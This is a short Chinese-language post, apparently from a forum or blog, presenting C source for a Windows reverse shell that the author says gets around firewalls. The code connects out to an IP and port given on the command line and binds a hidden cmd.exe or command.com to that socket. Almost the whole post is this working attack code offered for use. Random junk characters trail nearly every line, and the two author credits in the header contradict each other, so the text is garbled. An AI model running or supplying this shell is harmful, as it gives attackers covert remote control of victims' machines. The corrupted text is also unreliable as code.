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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 40=*Ul U-  
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/* ============================== 2,'~'  
Rebound port in Windows NT Fa0Fl}L  
By wind,2006/7 FeL!%z  
===============================*/ fD3>g{  
#include aE(DNeG-H  
#include =j^>sg]  
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#pragma comment(lib,"wsock32.lib") hm, H3pN  
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void OutputShell(); O%s7}bR3  
SOCKET sClient; !,<rW<&;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UX24*0`\~  
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void main(int argc,char **argv) ^^z_[Ih  
{ *E|#g  
WSADATA stWsaData; Ve\.7s  
int nRet; 1EMrXnv,  
SOCKADDR_IN stSaiClient,stSaiServer; "N3!!3  
O^Y@&S RrQ  
if(argc != 3) 3w&Z:<  
{ L'HO"EZFj  
printf("Useage:\n\rRebound DestIP DestPort\n"); p'4ZcCW?f  
return; Z6fR2A~Q[  
} @rE+H 5  
&SMM<^P.  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1VA%xOURh  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mXT{c=N)w  
t=IM"ZgfL  
stSaiClient.sin_family = AF_INET; a\m0X@Q  
stSaiClient.sin_port = htons(0); k r5'E#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W~& QcSWqD  
(V>/[Ev  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J9&#);(  
{ kS62]v]  
printf("Bind Socket Failed!\n"); _b! TmS#F1  
return; Ask~  
} YeI|&FMX  
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stSaiServer.sin_family = AF_INET; r!c7{6N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2OwO|n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); RY}:&vWDk  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _SrkR7  
{ :0% $u>;O:  
printf("Connect Error!"); ejpSbVJ  
return; rsD? ;XzH  
} B/K{sI  
OutputShell(); G(hzW%P  
} m^;A]0h+  
 z:d+RMA  
void OutputShell() Q[ .d  
{ "|GX%> /  
char szBuff[1024]; 4Y{&y6  
SECURITY_ATTRIBUTES stSecurityAttributes; ?Lem|zo  
OSVERSIONINFO stOsversionInfo; 2+C 8w%F8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X?S LYm@v  
STARTUPINFO stStartupInfo; ?mh0^G  
char *szShell; p><DA fB  
PROCESS_INFORMATION stProcessInformation; wV"C ,*V  
unsigned long lBytesRead; q;<Q-jr&O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {%8=qJ3@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3&Fqd  
stSecurityAttributes.lpSecurityDescriptor = 0; 7VA6J-T  
stSecurityAttributes.bInheritHandle = TRUE; oI9-jW  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XaYgl&x'!x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?sbM=oo  
6'JP%~QlS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (^= Hq'D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (=w ff5U  
stStartupInfo.wShowWindow = SW_HIDE; etL)T":XV  
stStartupInfo.hStdInput = hReadPipe; 0u8(*?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hP=z<&zb/  
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GetVersionEx(&stOsversionInfo); l&m'?. g f  
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switch(stOsversionInfo.dwPlatformId) ppPzI,  
{ >Av%[G5=h#  
case 1: et :v4^*f  
szShell = "command.com"; 0:k ~  lz  
break; !GBGC|avE  
default: D(gpF85t  
szShell = "cmd.exe";  eZ +uW0  
break; *!x/ia9  
} Yq%D/dU8  
aoS]Qp  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! jb{q bq  
T#w *5Qf  
send(sClient,szMsg,77,0); fY9/u=  
while(1) N>_d {=P  
{ ^9I^A!w=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xn)r6  
if(lBytesRead) g@7j<UY  
{ P;!4 VK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rCO:39L-  
send(sClient,szBuff,lBytesRead,0); Gq r(.  
} hy|X(m  
else bNO/CD4  
{ &t w   
lBytesRead=recv(sClient,szBuff,1024,0); },5_h0  
if(lBytesRead<=0) break; =.Q|gZ   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s% ~p?_P   
} Q{Lsr,  
} ^NTOZ0x~#  
`?L-{VtM3*  
return; eX>X=Ku  
}
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